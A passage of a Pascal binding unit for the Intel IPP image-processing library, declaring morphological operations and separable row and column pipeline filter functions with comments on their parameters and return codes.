function ippiMorphCloseBorder_1u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcBitOffset : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstBitOffset : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphOpenBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphOpenBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_3 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphOpenBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_4 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphCloseBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphCloseBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_3 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphCloseBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_4 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphTophatBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphTophatBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphTophatBorder_1u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcBitOffset : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstBitOffset : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphTophatBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphTophatBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_3 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphTophatBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_4 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphTophatBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphTophatBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_3 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphTophatBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_4 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphBlackhatBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphBlackhatBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphBlackhatBorder_1u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcBitOffset : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstBitOffset : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphBlackhatBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphBlackhatBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_3 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphBlackhatBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_4 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphBlackhatBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphBlackhatBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_3 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphBlackhatBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_4 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphGradientBorder_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphGradientBorder_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp16s ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphGradientBorder_1u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcBitOffset : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstBitOffset : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphGradientBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphGradientBorder_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_3 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphGradientBorder_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp8u_4 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphGradientBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphGradientBorder_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_3 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiMorphGradientBorder_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; borderType : IppiBorderType ; borderValue : Ipp32f_4 ; pMorthSpec : IppiMorphAdvStatePtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMorphGrayGetSize_8u_C1R, ippiMorphGrayGetSize_32f_C1R
Purpose: Gets size of internal state of gray-kernel morphological operation.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width of image or width or height of structuring
element is less or equal zero.
Arguments:
roiSize Maximal image ROI in pixels
pMask Pointer to structuring element
maskSize Size of structuring element
pSize Pointer to state length
}
function ippiMorphGrayGetSize_8u_C1R( roiSize : IppiSize ; pMask : Ipp32sPtr ; maskSize : IppiSize ; var pSize : Int32 ): IppStatus; _ippapi
function ippiMorphGrayGetSize_32f_C1R( roiSize : IppiSize ; pMask : Ipp32fPtr ; maskSize : IppiSize ; var pSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMorphGrayInit_8u_C1R, ippiMorphGrayInit_32f_C1R
Purpose: Initialize internal state of gray-scale morphological operation.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width of image or width or height of structuring
element is less or equal zero.
ippStsAnchorErr Anchor point is outside the structuring element
Arguments:
roiSize Maximal image roiSize in pixels
pMask Pointer to structuring element (mask)
maskSize Size of structuring element
anchor Anchor of the structuring element
pState Pointer to morphological state (Init)
}
function ippiMorphGrayInit_8u_C1R( pState : IppiMorphGrayState_8uPtr ; roiSize : IppiSize ; pMask : Ipp32sPtr ; maskSize : IppiSize ; anchor : IppiPoint ): IppStatus; _ippapi
function ippiMorphGrayInit_32f_C1R( pState : IppiMorphGrayState_32fPtr ; roiSize : IppiSize ; pMask : Ipp32fPtr ; maskSize : IppiSize ; anchor : IppiPoint ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGrayDilateBorder_8u_C1R, ippiGrayDilateBorder_32f_C1R,
ippiGrayErodeBorder_8u_C1R, ippiGrayErodeBorder_32f_C1R
Purpose: Perform erosion/dilation of image with gray-scale structuring element.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The ROI width or height is less than 1
or ROI width is bigger than ROI width in state
ippStsStepErr Step is too small to fit image.
ippStsNotEvenStepErr Step is not multiple of element.
ippStsBadArgErr Bad border type
Arguments:
pSrc The pointer to source image
srcStep The step in source image
pDst The pointer to destination image
dstStep The step in destination image
roiSize ROI size
border Type of border (ippBorderRepl now)
pState Pointer to morphological operation state
}
function ippiGrayErodeBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; border : IppiBorderType ; pState : IppiMorphGrayState_8uPtr ): IppStatus; _ippapi
function ippiGrayErodeBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; border : IppiBorderType ; pState : IppiMorphGrayState_32fPtr ): IppStatus; _ippapi
function ippiGrayDilateBorder_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; border : IppiBorderType ; pState : IppiMorphGrayState_8uPtr ): IppStatus; _ippapi
function ippiGrayDilateBorder_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; border : IppiBorderType ; pState : IppiMorphGrayState_32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMorphReconstructGetBufferSize
Purpose: returns buffer size for morphological reconstruction
Returns:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
roiSize The maximal ROI size.
dataType The type of data
numChannels The number of channels
p(Buf)Size The pointer to the buffer size.
Notes:
}
function ippiMorphReconstructGetBufferSize( roiSize : IppiSize ; dataType : IppDataType ; numChannels : Int32 ; var pBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMorphReconstructDilate_8u_C1IR, ippiMorphReconstructErode_8u_C1IR
ippiMorphReconstructDilate_16u_C1IR, ippiMorphReconstructErode_16u_C1IR,
ippiMorphReconstructDilate_32f_C1IR, ippiMorphReconstructErode_32f_C1IR
ippiMorphReconstructDilate_64f_C1IR, ippiMorphReconstructErode_64f_C1IR
Purpose: performs morphological reconstruction of pSrcDst under/above pSrc
Returns:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc The pointer to source above/under image
srcStep The step in source image
pSrcDst The pointer to image to reconstruct
srcDstStep The step in destination image
roiSize The source and destination image ROI size.
norm The norm type for dilation
ippiNormInf = Linf norm (8-connectivity)
ippiNormL1 = L1 norm (4-connectivity)
pBuffer The pointer to working buffer
Notes:
}
function ippiMorphReconstructDilate_8u_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuf : Ipp8uPtr ; norm : IppiNorm ): IppStatus; _ippapi
function ippiMorphReconstructErode_8u_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuf : Ipp8uPtr ; norm : IppiNorm ): IppStatus; _ippapi
function ippiMorphReconstructDilate_16u_C1IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuf : Ipp8uPtr ; norm : IppiNorm ): IppStatus; _ippapi
function ippiMorphReconstructErode_16u_C1IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuf : Ipp8uPtr ; norm : IppiNorm ): IppStatus; _ippapi
function ippiMorphReconstructDilate_32f_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuf : Ipp32fPtr ; norm : IppiNorm ): IppStatus; _ippapi
function ippiMorphReconstructErode_32f_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuf : Ipp32fPtr ; norm : IppiNorm ): IppStatus; _ippapi
function ippiMorphReconstructDilate_64f_C1IR( pSrc : Ipp64fPtr ; srcStep : Int32 ; pSrcDst : Ipp64fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuf : Ipp8uPtr ; norm : IppiNorm ): IppStatus; _ippapi
function ippiMorphReconstructErode_64f_C1IR( pSrc : Ipp64fPtr ; srcStep : Int32 ; pSrcDst : Ipp64fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; pBuf : Ipp8uPtr ; norm : IppiNorm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Min/Max Filters
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Separable Filters
---------------------------------------------------------------------------- }
{ ----------------------------------------------------------------------------
Name: ippiFilterRowBorderPipelineGetBufferSize_8u16s_C1R, ippiFilterRowBorderPipelineGetBufferSize_8u16s_C3R
ippiFilterRowBorderPipelineGetBufferSize_16s_C1R, ippiFilterRowBorderPipelineGetBufferSize_16s_C3R
ippiFilterRowBorderPipelineGetBufferSize_16u_C1R, ippiFilterRowBorderPipelineGetBufferSize_16u_C3R
ippiFilterRowBorderPipelineGetBufferSize_Low_16s_C1R, ippiFilterRowBorderPipelineGetBufferSize_Low_16s_C3R
ippiFilterRowBorderPipelineGetBufferSize_32f_C1R, ippiFilterRowBorderPipelineGetBufferSize_32f_C3R
Purpose: Get size of external buffer.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width of the image or kernel size are less or equal zero
Parameters:
roiSize The image ROI size
kernelSize The size of the kernel
pBufferSize The pointer to the buffer size
}
function ippiFilterRowBorderPipelineGetBufferSize_8u16s_C1R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterRowBorderPipelineGetBufferSize_8u16s_C3R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterRowBorderPipelineGetBufferSize_16s_C1R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterRowBorderPipelineGetBufferSize_16s_C3R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterRowBorderPipelineGetBufferSize_16u_C1R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterRowBorderPipelineGetBufferSize_16u_C3R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterRowBorderPipelineGetBufferSize_Low_16s_C1R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterRowBorderPipelineGetBufferSize_Low_16s_C3R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterRowBorderPipelineGetBufferSize_32f_C1R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterRowBorderPipelineGetBufferSize_32f_C3R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterRowBorderPipeline_8u16s_C1R, ippiFilterRowBorderPipeline_8u16s_C3R
ippiFilterRowBorderPipeline_16s_C1R, ippiFilterRowBorderPipeline_16s_C3R
ippiFilterRowBorderPipeline_16u_C1R, ippiFilterRowBorderPipeline_16u_C3R
ippiFilterRowBorderPipeline_Low_16s_C1R, ippiFilterRowBorderPipeline_Low_16s_C3R
ippiFilterRowBorderPipeline_32f_C1R, ippiFilterRowBorderPipeline_32f_C3R
Purpose: Convolves source image rows with the row kernel
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
ippStsAnchorErr The anchor outside the kernel
ippStsBadArgErr Wrong border type or zero divisor
Parameters:
pSrc The pointer to the source image
srcStep The step in the source image
ppDst The double pointer to the destination image
roiSize The image ROI size
pKernel The pointer to the kernel
kernelSize The size of the kernel
xAnchor The anchor value , (0<=xAnchor<kernelSize)
borderType The type of the border
borderValue The value for the constant border
divisor The value to divide output pixels by , (for integer functions)
pBuffer The pointer to the working buffer
Notes: The output is the doulble pointer to support the circle buffer
}
function ippiFilterRowBorderPipeline_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; ppDst : Ipp16sPtrPtr ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; xAnchor : Int32 ; borderType : IppiBorderType ; borderValue : Ipp8u ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRowBorderPipeline_8u16s_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; ppDst : Ipp16sPtrPtr ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; xAnchor : Int32 ; borderType : IppiBorderType ; borderValue : Ipp8u_3 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRowBorderPipeline_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; ppDst : Ipp16sPtrPtr ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; xAnchor : Int32 ; borderType : IppiBorderType ; borderValue : Ipp16s ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRowBorderPipeline_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; ppDst : Ipp16sPtrPtr ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; xAnchor : Int32 ; borderType : IppiBorderType ; borderValue : Ipp16s_3 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRowBorderPipeline_Low_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; ppDst : Ipp16sPtrPtr ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; xAnchor : Int32 ; borderType : IppiBorderType ; borderValue : Ipp16s ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRowBorderPipeline_Low_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; ppDst : Ipp16sPtrPtr ; roiSize : IppiSize ; pKernel : Ipp16sPtr ; kernelSize : Int32 ; xAnchor : Int32 ; borderType : IppiBorderType ; borderValue : Ipp16s_3 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRowBorderPipeline_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; ppDst : Ipp16uPtrPtr ; roiSize : IppiSize ; pKernel : Ipp16uPtr ; kernelSize : Int32 ; xAnchor : Int32 ; borderType : IppiBorderType ; borderValue : Ipp16u ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRowBorderPipeline_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; ppDst : Ipp16uPtrPtr ; roiSize : IppiSize ; pKernel : Ipp16uPtr ; kernelSize : Int32 ; xAnchor : Int32 ; borderType : IppiBorderType ; borderValue : Ipp16u_3 ; divisor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRowBorderPipeline_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; ppDst : Ipp32fPtrPtr ; roiSize : IppiSize ; pKernel : Ipp32fPtr ; kernelSize : Int32 ; xAnchor : Int32 ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiFilterRowBorderPipeline_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; ppDst : Ipp32fPtrPtr ; roiSize : IppiSize ; pKernel : Ipp32fPtr ; kernelSize : Int32 ; xAnchor : Int32 ; borderType : IppiBorderType ; borderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterColumnPipelineGetBufferSize_16s_C1R, ippiFilterColumnPipelineGetBufferSize_16s_C3R
ippiFilterColumnPipelineGetBufferSize_16u_C1R, ippiFilterColumnPipelineGetBufferSize_16u_C3R
ippiFilterColumnPipelineGetBufferSize_Low_16s_C1R, ippiFilterColumnPipelineGetBufferSize_Low_16s_C3R
ippiFilterColumnPipelineGetBufferSize_16s8u_C1R, ippiFilterColumnPipelineGetBufferSize_16s8u_C3R
ippiFilterColumnPipelineGetBufferSize_16s8s_C1R, ippiFilterColumnPipelineGetBufferSize_16s8s_C3R
ippiFilterColumnPipelineGetBufferSize_32f_C1R, ippiFilterColumnPipelineGetBufferSize_32f_C3R
Purpose: Get size of external buffer.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width of the image or kernel size are less or equal zero
Parameters:
roiSize The image ROI size
kernelSize The size of the kernel
pBufferSize The pointer to the buffer size
}
function ippiFilterColumnPipelineGetBufferSize_16s_C1R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterColumnPipelineGetBufferSize_16s_C3R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterColumnPipelineGetBufferSize_Low_16s_C1R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterColumnPipelineGetBufferSize_Low_16s_C3R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterColumnPipelineGetBufferSize_16u_C1R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterColumnPipelineGetBufferSize_16u_C3R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterColumnPipelineGetBufferSize_16s8u_C1R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterColumnPipelineGetBufferSize_16s8u_C3R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterColumnPipelineGetBufferSize_16s8s_C1R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterColumnPipelineGetBufferSize_16s8s_C3R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterColumnPipelineGetBufferSize_32f_C1R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippiFilterColumnPipelineGetBufferSize_32f_C3R( roiSize : IppiSize ; kernelSize : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiFilterColumnPipeline_16s_C1R, ippiFilterColumnPipeline_16s_C3R
ippiFilterColumnPipeline_16u_C1R, ippiFilterColumnPipeline_16u_C3R
ippiFilterColumnPipeline_Low_16s_C1R, ippiFilterColumnPipeline_Low_16s_C3R
ippiFilterColumnPipeline_16s8u_C1R, ippiFilterColumnPipeline_16s8u_C3R
ippiFilterColumnPipeline_16s8s_C1R, ippiFilterColumnPipeline_16s8s_C3R
ippiFilterColumnPipeline_32f_C1R, ippiFilterColumnPipeline_32f_C3R
Purpose: Convolves source image rows with the row kernel
Return:
ippStsNoErr Ok
